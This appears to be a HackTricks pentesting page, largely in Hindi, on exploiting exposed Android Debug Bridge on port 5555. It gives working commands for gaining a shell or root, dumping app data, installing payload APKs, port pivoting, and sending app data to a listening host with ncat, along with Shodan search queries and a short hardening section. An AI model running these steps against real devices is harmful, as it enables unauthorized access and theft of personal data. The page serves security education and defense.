5555 - Android Debug Bridge

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

From the docs:

Android Debug Bridge (adb) एक कमांड-लाइन टूल है जो Android-आधारित उपकरणों और इम्यूलेटर के साथ संवाद करने के लिए उपयोग किया जाता है। सामान्य क्रियाओं में पैकेज स्थापित करना, डिबगिंग करना, और उपकरण पर एक इंटरैक्टिव Unix शेल प्राप्त करना शामिल है।

  • ऐतिहासिक डिफ़ॉल्ट TCP पोर्ट: 5555 (क्लासिक "adb tcpip" मोड)।
  • आधुनिक वायरलेस डिबगिंग (Android 11+) TLS पेयरिंग और mDNS सेवा खोज का उपयोग करता है। कनेक्ट पोर्ट गतिशील है और mDNS के माध्यम से खोजा जाता है; यह 5555 नहीं हो सकता है। पेयरिंग adb pair host:port के साथ की जाती है उसके बाद adb connect। आक्रामक निहितार्थों के लिए नीचे नोट्स देखें।

Example nmap fingerprint:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Connect

यदि आप ADB को उजागर और पहुंच योग्य पाते हैं, तो जल्दी से कनेक्ट करने और सूचीबद्ध करने का प्रयास करें:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • यदि डिवाइस ADB प्रमाणीकरण लागू करता है (ro.adb.secure=1), तो आपको पूर्व-प्रमाणित (USB RSA auth) होना पड़ेगा या Android 11+ वायरलेस डिबगिंग पेयरिंग का उपयोग करना पड़ेगा (जिसके लिए डिवाइस पर प्रदर्शित एक बार का कोड आवश्यक है)।
  • कुछ विक्रेता छवियाँ, इंजीनियरिंग/यूजरडिबग बिल्ड, एमुलेटर्स, टीवी, STB और विकास किट बिना प्रमाणीकरण के या रूट के रूप में adbd को उजागर करते हैं। उन मामलों में, आप आमतौर पर सीधे एक शेल या रूट शेल में पहुँचेंगे।

सामान्य ADB कमांड संदर्भ के लिए, देखें:

ADB Commands

त्वरित पोस्ट-एक्सप्लॉइटेशन

एक बार जब आपके पास शेल हो, तो विशेषाधिकार और SELinux संदर्भ को मान्य करें:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

Enumerate and capture data

  • तीसरे पक्ष के ऐप और पथों की सूची बनाएं:
bash
pm list packages -3
pm path <pkg>
  • यदि आपके पास रूट है (adb root या su काम करता है), तो आप सीधे /data तक पहुंच सकते हैं। यदि नहीं, तो डिबग करने योग्य ऐप्स के लिए run-as का उपयोग करें:
bash
# बिना रूट के, एक डिबग करने योग्य ऐप के लिए
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# रूट के साथ
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • उपयोगी सिस्टम आर्टिफैक्ट (रूट की आवश्यकता):
  • /data/system/users/0/accounts.db और संबंधित AccountManager डेटा
  • /data/misc/wifi/ (पुराने संस्करणों पर नेटवर्क कॉन्फ़िग्स/कीज़)
  • ऐप-विशिष्ट SQLite DBs और shared_prefs /data/data/ के तहत

आप इसका उपयोग संवेदनशील जानकारी (जैसे, ऐप रहस्य) प्राप्त करने के लिए कर सकते हैं। Chrome डेटा विचारों के बारे में नोट्स के लिए, संदर्भित मुद्दे को देखें यहां.

Code execution and payload delivery

  • इंस्टॉल करें और रनटाइम अनुमतियों को स्वचालित रूप से दें:
bash
adb install -r -g payload.apk         # -g मैनिफेस्ट में घोषित सभी रनटाइम अनुमतियों को देता है
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • गतिविधियों/सेवाओं/प्रसारणों को सीधे शुरू करें:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Port forwarding and pivoting

रूट के बिना भी, adb स्थानीय पोर्ट को डिवाइस पोर्ट पर और इसके विपरीत अग्रेषित कर सकता है। यह डिवाइस पर स्थानीय रूप से बंधी सेवाओं तक पहुंचने या हमलावर सेवाओं को डिवाइस पर उजागर करने के लिए उपयोगी है।

  • होस्ट->डिवाइस अग्रेषित करें (अपने होस्ट से डिवाइस-स्थानीय सेवा तक पहुंचें):
bash
adb forward tcp:2222 tcp:22       # यदि डिवाइस SSH चलाता है (जैसे, Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # ऐप के स्थानीय डिबग सर्वर को उजागर करें
  • रिवर्स डिवाइस->होस्ट (डिवाइस को आपके होस्ट पर एक सेवा तक पहुंचने दें):
bash
adb reverse tcp:1080 tcp:1080     # डिवाइस ऐप अब host:1080 को 127.0.0.1:1080 के रूप में पहुंच सकते हैं
  • सॉकेट के माध्यम से फ़ाइल निकासी (कोई sdcard लेखन नहीं):
bash
# होस्ट पर: सुनें
ncat -lvp 9000 > dump.tar
# डिवाइस पर: निर्देशिका को tar के रूप में भेजें (रूट या run-as के अनुसार)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Wireless Debugging (Android 11+)

आधुनिक Android डिवाइस-साइड पेयरिंग और mDNS खोज के साथ TLS-सुरक्षित वायरलेस डिबगिंग लागू करता है:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notes

  • पोर्ट गतिशील हैं; 5555 मान न मानें। mDNS सेवा नाम इस प्रकार दिखते हैं:
  • _adb-tls-pairing._tcp (जोड़ना)
  • _adb-tls-connect._tcp (जुड़ा हुआ कनेक्ट)
  • _adb._tcp (विरासत/सादा)
  • यदि mDNS फ़िल्टर किया गया है, तो कुछ बिल्ड पर क्लासिक USB-सहायता सक्षम करना अभी भी काम कर सकता है: adb tcpip 5555 फिर adb connect <ip>:5555 (रीबूट होने तक)।

आक्रामक निहितार्थ: यदि आप डिवाइस UI के साथ इंटरैक्ट कर सकते हैं (जैसे, भौतिक पहुंच या मोबाइल MDM गलत कॉन्फ़िगरेशन) वायरलेस डिबगिंग सक्षम करने और जोड़ने के कोड को देखने के लिए, तो आप बिना केबल के एक दीर्घकालिक जुड़े ADB चैनल स्थापित कर सकते हैं। कुछ OEMs बिना जोड़ने के इंजीनियरिंग/डेव छवियों में TCP पर ADB को उजागर करते हैं—हमेशा जांचें।

Hardening / Detection

रक्षा करने वालों को मान लेना चाहिए कि कोई भी पहुंच योग्य adbd (TCP) महत्वपूर्ण जोखिम है।

  • जब आवश्यकता न हो, ADB और वायरलेस डिबगिंग को बंद करें। डेवलपर विकल्पों में USB डिबगिंग प्राधिकरण को रद्द करें।
  • सुनिश्चित करें कि नेटवर्क नीति अविश्वसनीय खंडों पर इनबाउंड TCP/5555 और mDNS-आधारित ADB खोज को ब्लॉक करती है।
  • आपके नियंत्रण में उपकरणों पर:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # TCP सुनने को बंद करें (या उपयोग करें: adb usb)
stop adbd; start adbd             # डेमॉन को पुनः प्रारंभ करें
  • कॉर्पोरेट नेटवर्क पर mDNS रिकॉर्ड _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp के लिए निगरानी करें और अप्रत्याशित 5555 श्रोता के लिए अलर्ट करें।
  • असुरक्षित बिल्ड के लिए सूची बनाएं: getprop ro.debuggable, ro.build.type, और ro.adb.secure

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

References

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें